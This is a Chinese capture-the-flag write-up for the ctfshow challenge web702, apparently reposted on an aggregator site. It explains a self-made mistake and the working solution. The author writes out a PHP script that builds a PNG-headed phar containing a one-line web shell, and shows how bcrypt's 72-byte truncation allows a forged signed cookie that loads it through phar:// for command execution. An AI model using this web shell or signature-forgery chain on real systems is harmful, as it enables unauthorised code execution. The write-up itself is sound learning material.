当前位置: 首页 > news >正文

ctfshow-大赛原题-web702

因为该题没有理解到位,导致看wp也一直出错,特此反思一下。

参考yu22x师傅的文章 :CTFSHOW大赛原题篇(web696-web710)_ctfshow 大赛原题-CSDN博客

首先拿到题目:

// www.zip 下载源码

我们的思路就是包含一个css文件,这个css文件是压缩到phar中的,那么如何绕过文件上传必须是PNG的限制呢,就可以手动赋值一个文件头

<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

 

结合这个data和signature,我们可以先创建一个账号登录一下:

eyJuYW1lIjoiMTIzXzEyMyJ9.JDJ5JDEwJHNuOWJqbDQzc1pjTTJFd2FCVWV0ZnV0WDZ5UDJWaERTbnNxWU5pMGowcERwVEFhbXVWUTJD

 那么再传入我们生成的phar文件再查看一下cookie的变化:

(我们发现这两次的cookie签名值是不同的),如果签名值是不同的那么我们添加theme参数的时候就会让我们重新登录无法进行命令执行了

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyJ9.JDJ5JDEwJE96SlRZZ2puQ1NQM2lGWHRrNzlPTWU4dEY0VmpVVld5SzJEMGwuMVh3Q0tjbmNsNEJKbG1H

接下来我们需要关注一个比较有意思的地方:

现在我们需要考虑的是我们怎么凑才能把data这个消息也就是咱们cookie "." 前面的字符串是72位以上呢?

我们需要访问/upload.php 但是不需要上传文件即可:

 

这样就凑够了72以上字符,

因为此处凑够了72以上字符,因此后面添加theme后,我们就需要用这个签名

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJObyBmaWxlIHdhcyB1cGxvYWRlZC4ifX0.JDJ5JDEwJEpINWNYWEdqdzhYSXIzYVJDQnE1dHVLSi9rRWpoM3NXUzN1NXkxOVhWT1gwV2JoNXZITVFD

 {"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}

接着我们利用util类里面的urlsafe_base64_encode函数生成$data再拼接之前的.后面签名即可:

这样就可以执行了,我错误的原因呢就是拿到最初登录时候给的$signature来拼接了

但是没考虑到那个password_hash的特性

 

 具体的思路:

1、可以包含css,所以创建一个css压缩到phar中,生成png的文件头

2、通过访问upload.php凑够那个72字符

{"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}

3、添加theme参数

4、访问/index.php  传cmd参数执行命令

相关文章:

  • 基于WOA鲸鱼优化的NARMAX模型参数辨识算法MATLAB仿真,对比PSO优化算法
  • 云计算(Cloud Computing)概述——从AWS开始
  • 守护进程编程
  • 音视频之H.265/HEVC变换编码
  • kafka jdbc connector适配kadb数据实时同步
  • Uniapp调用native.js使用经典蓝牙串口通讯方法及问题解决
  • Web 前端包管理工具深度解析:npm、yarn、pnpm 全面对比与实战建议
  • 第五章 SQLite数据库:4、SQLite 进阶用法:常见的约束、PRAGMA 配置、数据操作
  • 微信小程序怎么分包步骤(包括怎么主包跳转到分包)
  • UE5 渲染视频
  • RAG 实战|用 StarRocks + DeepSeek 构建智能问答与企业知识库
  • 力扣刷题-热题100题-第35题(c++、python)
  • 捕鱼船检测数据集VOC+YOLO格式2105张1类别
  • 【工具-Krillin AI】视频翻译、配音、语音克隆于一体的一站式视频多语言转换工具~
  • BFS DFS ----习题
  • C语言教程(十):C 语言函数详解
  • 数据结构之队列及其应用
  • Openfein实现远程调用的方法(实操)
  • 聊一聊接口测试是如何进行的?
  • Vue3如何选择传参方式
  • 伊朗港口爆炸已造成281人受伤
  • 我驻美使馆:中美并没有就关税问题磋商谈判,更谈不上达成协议
  • 中国太保一季度净赚96.27亿元降18.1%,营收同比下降1.8%
  • 魏晓栋已任上海崇明区委常委、组织部部长
  • “80后”阿伯丁大学法学硕士朱江已任四川泸州市副市长
  • 建行原副行长章更生被开除党籍:靠贷吃贷,大搞权钱交易